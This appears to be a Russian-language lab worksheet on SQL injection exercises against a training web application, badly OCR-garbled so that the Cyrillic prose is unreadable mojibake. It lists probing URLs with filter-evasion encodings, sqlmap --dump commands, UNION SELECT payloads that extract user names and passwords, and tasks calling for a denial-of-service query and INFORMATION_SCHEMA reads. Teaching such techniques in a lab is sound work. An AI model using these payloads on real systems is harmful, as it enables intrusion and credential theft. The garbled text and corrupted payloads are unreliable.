Hlar 2. Ilepeititu mo cceuike «SQL injections — Example 2». Ilpoananu3upoBarh JOTHKY
GyHKIMOHMpOBaHUA BeO-npuioxkeHus. IlocimenoBaTenbHO BBECTH CIEIYIOLIME 3alpochl, oOpaluas
BHHMaHHE Ha BBIBOJ BEO-TIPWIIOKEHHS, CAETATh MPEIIOIOKEHHE O CTPYKType HCIoib3yeMoroSQL-

3arpoca:

sgli/example2.php?name=root%20and%?201=1

sgli/example2.php?name=root'%09and%09'1'="1
— sgli/fexample2.php?name=root'%09and%09'1'="2

sgli/example2.php?name=root'%2b%2b’
[Tocnennue Tpu 3ampoca NO3BOJSIOT cIAeNaTh BbIBOJA 00 YSI3BUMOCTH Mapamerpa name K atake SQL-
injection. 3amycTuTh sqlmap, yOenuThb- csi, YTO B JAaHHOM Cllydyae OH HE CMOT HICHTU(UIMPOBATH
YS3BUMBIN TapaMeTp.

Hlar 3. Ilepeiitu mo cceuike «SQL injections — Example 3». IIpoananu3upoBark JIOTHKY
¢GyHKUIMOHMpOBaHUS BeO-mpuiiokeHus. IlocienoBarenbHO BBECTH CIEYIOLIME 3alpochl, oOparas
BHHMaHUE Ha BBIBOJI BEO-TIPUIIOKEHUS, CAENaTh MPEINOI0KEHUE O CTPYKTYpe Hcosib3yeMoroSQL-

3arpoca:

sgli/example3.php?name=root%20and%201=1

sgli/fexample3.php?name=root'/**/and/**/'1'="1

sgli/example3.php?name=root'/**/and/**/'1'="2
— sqli/example3.php?name=root'%2b%?2b’
[Tocnennue Tpu 3ampoca MO3BOJSIOT ClIENaTh BBIBOA 00 YS3BHUMOCTH Iapamerpa name k atake SQL-
injection. 3amycTuth sqlmap, yoenuTh- cs, 9TO B JaHHOM CIy4dae OH HE CMOKET WUIACHTH(HIIMPOBATH
YSI3BUMBIN MapaMeTp.

ar 4. Ilepeiitu mo cceuike «SQL injections — Example 4». IlpoananusmpoBaTh JIOTHUKY
¢dbyHkunoHupoBaHUs BeO-mpuiiokeHus. IlocienoBarenbHO BBECTH CIEYIOLIME 3ampochl, oOparias
BHUMAaHME Ha BBIBOJ BEO-TIPHIIOKEHHS, CHIENaTh MPEAINONIOKEHHE O CTPYKType Hcmoiib3yeMoroSQL-
3ampoca:
— sgli/fexample4.php?id=2
— sgli/fexample4.php?id=2'
— sgli/fexample4.php?id=2"
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— sgli/fexample4.php?id=1%2b1
— sgli/fexample4.php?id=0%2b2
— sqli/example4.php?id=3-1
[Tocnemnue TpH 3ampoca MO3BOJIAIOT CenaTh BhIBOA 00 ys3BUMOCTH mapamertpa id x atake SQL-

injection. BBIMOIHUTE CleyIONTYI0 KOMaHTY:

# python sqlmap.py —p id —dmbs=mysql —dump
—u http://1P_address/sgli/example4.php?id=1
[IpocMoTpeTh TONTy4eHHBIC JaHHBIC U3 0a3bl HaHHbIX. [IpocMoTpeTh ncxoaubiii kogPHP-ciienapus.
[Mar 5. Ilepeiitn mo ccouike «SQL injections — Example 5». Ilpoananus3upoBaTh JIOTHKY
¢yHkumoHupoBaHusl BeO-mprIokeHus. [locienoBaTelbHO BBECTH CIEAYIONIME 3ampochl, oOparias
BHHUMaHUE Ha BBIBOJI BEO-TIPUIIOKEHUS, CAENATh NPEANOI0KEHUE O CTPYKTYpe HCIoyib3yeMoroSQL-
3amnpoca:
— sgli/fexample5.php?id=2
— sgli/fexample5.php?id=2'
— sqli/example5.php?id=2"
— sqli/example5.php?id=1%2b1
— sgli/fexample5.php?id=0%2b2
— sgli/fexample5.php?id=3-1
[Tocneanue Tpu 3ampoca MO3BOJISAIOT clieNaTh BhIBOJ 00 ys3BUMOCTH napamerpa id x arake SQL-

injection. BBIMOTHUTE CIENYIONTYI0 KOMaHTY:

# python sqlmap.py —p id —dmbs=mysqgl —dump
—u http://1P_address/sgli/example5.php?id=1

[IpocMoTpeTs onyueHHbIE JaHHbBIE U3 0a3bl JaHHBIX. [IpocMoTpeTs ucxoanblil kox PHP-ciienapust.
Hlar 6. Ilepeiitu mo cceuike «SQL injections — Example 5». IIpoananu3upoBarh JOTHUKY
(GyHKIIMOHUPOBAHUSI BEO-TIPUIIOKEHUS.
[TocnemoBaTebHO BBECTH CIEAYIOIIME 3alpoChl, 0Opaiias BHHMAaHWE Ha BBIBOJ BEO-TIPUIIOKEHUS,
cenaTh NPEAIOI0KEHUE O CTPYKTYype ucnoiabzyemoroSQL-3anpoca:
— sqli/example6.php?id=2
— sqli/example6.php?id=2'
— sgli/fexample6.php?id=2"
— sgli/fexample6.php?id=1%2b1
— sgli/fexample6.php?id=0%2b2
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— sgli/fexample6.php?id=3-1
— sgli/fexample6.php?id=5-3

[Tocnennue Tpu 3ampoca MO3BOJSIOT CAENaTh BHIBOJ 00 ysa3BUMOCTH mapametpa id x arake SQL-
injection. 3amyctuth sqlmap, yOeauTbesi, YTO B JAaHHOM CIIydae OH HE MOXKET MPOAKCIUTYaTUPOBAThH
ys3BUMBIN napametp. IIpocmorpers ucxonusit kox PHP-cuenapus.

[lar 7. Ilepetitu mo cceuike «SQL injections — Example 5». Ilpoananu3upoBaTh JIOTHKY
GYHKIMOHUPOBaHUs BeO-mpuiiokeHus. IlociemoBaTebHO BBECTH CIENYIONINME 3alpoChl, oOparas
BHUMaHUE Ha BBIBOJ BEO-TIPUIIOKEHUS, CAENATh MPEAINOI0KEHUE O CTPYKTYpe HCIonb3yeMoroSQL-
3arpoca:

— sgli/example7.php?id=2

— sgli/fexample7.php?id=2'

— sqli/example7.php?id=2"

— sqli/example7.php?id=1%2b1

— sgli/fexample7.php?id=3-1

— sgli/fexample7.php?id=2%0Aand%201=1
— sqli/example7.php?id=2%0Aand%201=2
— sqli/example7.php?id=2%0A%23sqli

HOCJ’IGI[HI/IG TPpU 3allpoca IMO3BOJAIOT CACIATH BBIBO 00 YA3BUMOCTHU I1apaMeTpa id k araxe SQL-
injection. 3amycTuth sqlmap, yoeauTbes, yTO B JaHHOM CIIydae OH HE MOXKET MPOIKCILTYyaTHPOBATh
ySI3BUMBIH MapameTp. BeImomHUTh crneayromye 3anpock! 11 n3BneyeHus naiubeix u3 CYB/I:

— sgli/fexample7.php?id=2%0Aunion%20select%201

— sgli/fexample7.php?id=2%0Aunion%20select%201,2

— sgli/fexample7.php?id=2%0Aunion%20select%201,2,3

— sgli/fexample7.php?id=2%0Aunion%20select%201,2,3,4

— sgli/fexample7.php?id=2%0Aunion%?20select%201,2,3,4, 5

— sgli/fexample7.php?id=2%0Aunion%?20select%20name, passwd,1,1,1 from users
Py‘{HBIMI/I METOdaMH TMOJYYUTH HAHHBIC U3 0asbl JaHHBIX.

IIpocmotpers ucxonuslit ko PHP-cuenapus.

Bonpocsl u 3apanus

1. C momomipio mporpammel sqlmap uaeHTU(UIMPOBATh yI3BUMBIN K artake SQL-injection
napamerp u mnonyuuth conxepxkumoe CYBJl B cmyuae, korga BeO-NPHIIOKEHHE 3allperaeT
MCIOJIb30BaHUE TIPOOETIOB BO BXOIHBIX JAHHBIX.

2. Iloctpoutrs u BeIMOMHUTE SQL-3ampoc, MpUBOAAIIMK K OTKa3y B OOCITY)KHBAaHHH BeO-

NPUIOKEHHS, YSI3BUMOTO K atakeSQL-injection.
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3. Jns BeO-nipriiokeHUs, ysI3BUMOTOo K atake SQL-injection U rc- MONB3YIOMIETO IS XPAHCHUS
JTAHHBIX CYbJ MySQL, MOJYYUTh co- JIEPKUMOE CITyX)eOHOM 0a3sI
naHHbIXINFORMATION SCHEMA.

®opma npeacraBiaeHus pe3yJbTara:
IIpenocTaBuTh CKpUIIT 3aJaHUM

Kpurepun onenkmn:

Onenka "5" cTaButTcs: Bcsi paboTa BBINOIHEHA 0€30IIMO0YHO U HET NCIPABJICHUH;
Onenka "4" ctaBuUTCS: ONYLIEHBI 1-2 BEIUNCIUTEIbHBIE OIINOKH.

Onenka "3" cTaBUTCsS: [OMYIIEHBbI OLIMOKM B XOJI€ pEUICHHs 3aJaddl IpH MPaBUIHHOM
BBITIOJIHCHUH BCEX OCTAJIbHBIX 3aJaHUN WU JOMYHICHBI 3-4 BBIYMCIUTEIbHBIC OMIUOKH, IIPU STOM

XOJ] aHAJIN3a JOJDKEH OBITh BEPHBIM.

Onenka "2" craBUTCSA: NONYIICHBI OMMOKM B XOJ€ PEIICHHS 33aJa4d M XOTs OBl OJHA
BBIUMCIIUTENbHAS OMMUOKAa WM TPU aHAIU3€ U MPUMEPOB JOIYIIEHO Oojiee 5 BBIYHUCIUTENbHBIX

OILINOOK.
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